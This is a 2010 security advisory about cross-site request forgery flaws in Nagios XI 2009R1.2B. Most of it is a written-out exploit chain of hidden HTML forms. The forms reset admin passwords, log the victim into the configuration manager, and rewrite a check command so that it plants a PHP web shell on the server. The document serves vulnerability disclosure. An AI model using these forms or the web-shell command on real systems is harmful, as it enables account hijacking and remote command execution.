Nagios XI 2009R1.2B Cross Site Request Forgery

2010-08-12T00:00:00
ID PACKETSTORM:92623
Type packetstorm
Reporter Adam Baldwin
Modified 2010-08-12T00:00:00

Description

                                        
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Advisory Information  
  
Advisory ID: NGENUITY-2010-006  
Date published: Aug. 7, 2010  
Class: Cross-Site Request Forgery (CSRF)  
  
  
Software Description  
  
Nagios XI is the commercial / enterprise version of the open source  
Nagios project.  
  
  
Vulnerability Description  
  
Nagios XI 2009R1.2B is vulnerable to multiple cross-site request forgery  
(CSRF) vulnerabilities. All of the privileged actions tested were  
vulnerable to CSRF, not just the ones listed below. It is recommended to  
upgrade to version 2009R1.2C or later.  
  
Exploiting the identified vulnerabilities requires that the nagiosadmin  
be logged into the web interface. Note that the admin does not have to  
be logged into the configuration manager, the attacker can accomplish  
that themselves.  
  
  
Technical Details  
  
Reset the nagiosadmin password via CSRF  
  
This can be useful to hijack the administrators account.  
<input type='button' id='adminpassword' value='Set nagiosadmin Password'/>  
<form name="adminpasswordform"   
action="http://10.0.10.28/nagiosxi/account/main.php?page=acctinfo"   
method="POST" target="hidden" class="invisible">  
<input type="input" name="defaultDateFormat" value="1" />  
<input type="input" name="defaultLanguage" value="en" />  
<input type="input" name="defaultNumberFormat" value="1" />  
<input type="input" name="defaultTheme" value="none" />  
<input type="input" name="email" value="adam@ngenuity-is.com" />  
<input type="input" name="name" value="Nagios Administrator" />  
<input type="input" name="password1" value="letmein1" />  
<input type="input" name="password2" value="letmein1" />  
<input type="input" name="update" value="1" />  
</form>  
  
  
Reset the configuration manager password  
  
The attacker just has the victim visit the following URL. Even if the  
nagios admin is not logged into the configuration admin, the attacker can   
  
1. Force a password reset of the configuration manager  
2. Log the nagiosadmin into the configuration manager  
3. Create a simple web shell on the nagios server.  
  
http://10.0.10.28/nagiosxi/admin/credentials.php?options=1  
&update=1  
&config_admin_password=letmein1  
&subsystem_ticket=2objrv9t6glq  
&config_backend_password=38ajpt  
  
Log into the configuration manager with previously set password  
  
<input type='button' id='login' value='Login to Config Manager' />  
<form name='loginform' action=“http://10.0.10.28/nagiosql/index.php”  
method=“POST” target=“hidden” class=“invisible”>  
<input type=“input” name=“Submit” value=“Login”/>  
<input type=“input” name=“tfPassword” value=“letmein1”/>  
<input type=“input” name=“tfUsername” value=“nagiosadmin”/>  
</form>  
  
Modify nagios command to create a webshell when run  
  
Note the \ before the ; in our php code is what makes this possible.  
Normally Nagios would not allow for a ; to be input into the command  
string unless escaped. PHP will happily still execute this code despite  
the \ being there.  
  
<input type='button' id='modifycmd' value='Create Web Shell Command' />  
<form name='modifycmdform'   
action="http://10.0.10.28/nagiosql/admin/checkcommands.php"   
method="POST" target="hidden" class="invisible">  
<input type="input" name="chbActive" value="1"/>  
<input type="input" name="hidActive" value=""/>  
<input type="input" name="hidId" value="3"/>  
<input type="input" name="hidLimit" value="0"/>  
<input type="input" name="modus" value="modify"/>  
<input type="input" name="selCommandType" value="1"/>  
<input type="input" name="tfCommand"   
value='/bin/echo "<pre><?php echo system(\$$_GET[\"c\"])\; ?>  
</pre>" > /usr/local/nagiosxi/html/cmd.php' />  
<input type="input" name="tfName" value="check-host-alive"/>  
</form>  
  
Add a Host to make sure our command is triggered, and the web shell created.  
  
Yes this is a long and boring form   
  
<form name='addhostform' action='http://1.2.3.4/nagiosql/admin/hosts.php'   
method='POST' target='hidden' class='invisible'>  
<input type="input" name="chbActive" value="1"/>  
<input type="input" name="hidActive" value=""/>  
<input type="input" name="hidId" value=""/>  
<input type="input" name="hidLimit" value="0"/>  
<input type="input" name="hidName" value=""/>  
<input type="input" name="modus" value="insert"/>  
<input type="input" name="radActiveChecksEnabled" value="2"/>  
<input type="input" name="radContactGroups" value="1"/>  
<input type="input" name="radContacts" value="1"/>  
<input type="input" name="radEventEnable" value="2"/>  
<input type="input" name="radFlapEnable" value="2"/>  
<input type="input" name="radFreshness" value="2"/>  
<input type="input" name="radHostGroups" value="2"/>  
<input type="input" name="radNoStatusInfos" value="2"/>  
<input type="input" name="radNotifEnabled" value="2"/>  
<input type="input" name="radObsess" value="2"/>  
<input type="input" name="radParent" value="2"/>  
<input type="input" name="radPassiveChecksEnabled" value="2"/>  
<input type="input" name="radPerfData" value="2"/>  
<input type="input" name="radStatusInfos" value="2"/>  
<input type="input" name="selCheckPeriod" value="0"/>  
<input type="input" name="selEventHandler" value="0"/>  
<!-- Command we overwrote -->  
<input type="input" name="selHostCommand" value="3"/>   
<input type="input" name="selNotifPeriod" value="3"/>  
<input type="input" name="selTemplate" value="2::1"/>  
<input type="input" name="tfActionURL" value=""/>  
<input type="input" name="tfAddress" value="4.2.2.2"/>  
<input type="input" name="tfArg1" value=""/>  
<input type="input" name="tfArg2" value=""/>  
<input type="input" name="tfArg3" value=""/>  
<input type="input" name="tfArg4" value=""/>  
<input type="input" name="tfArg5" value=""/>  
<input type="input" name="tfArg6" value=""/>  
<input type="input" name="tfArg7" value=""/>  
<input type="input" name="tfArg8" value=""/>  
<input type="input" name="tfCheckInterval" value=""/>  
<input type="input" name="tfD2Coords" value=""/>  
<input type="input" name="tfD3Coords" value=""/>  
<input type="input" name="tfDisplay" value=""/>  
<input type="input" name="tfFirstNotifDelay" value=""/>  
<input type="input" name="tfFreshTreshold" value=""/>  
<input type="input" name="tfFriendly" value="testpwn"/>  
<input type="input" name="tfGenericName" value=""/>  
<input type="input" name="tfHighFlat" value=""/>  
<input type="input" name="tfIconImage" value=""/>  
<input type="input" name="tfIconImageAlt" value=""/>  
<input type="input" name="tfLowFlat" value=""/>  
<input type="input" name="tfMaxCheckAttempts" value="5"/>  
<input type="input" name="tfName" value="testpwn"/>  
<input type="input" name="tfNotes" value=""/>  
<input type="input" name="tfNotesURL" value=""/>  
<input type="input" name="tfNotifInterval" value="0"/>  
<input type="input" name="tfRetryInterval" value=""/>  
<input type="input" name="tfStatusImage" value=""/>  
<input type="input" name="tfVmrlImage" value=""/>  
<input type="input" name="txtVariablename" value=""/>  
<input type="input" name="txtVariablevalue" value=""/>  
</form>  
  
  
Original Advisory at http://ngenuity-is.com/advisories/2010/aug/7/nagios-xi-multiple-csrf/  
POC Exploit http://evilpacket.net/dev/nagiosxi/  
  
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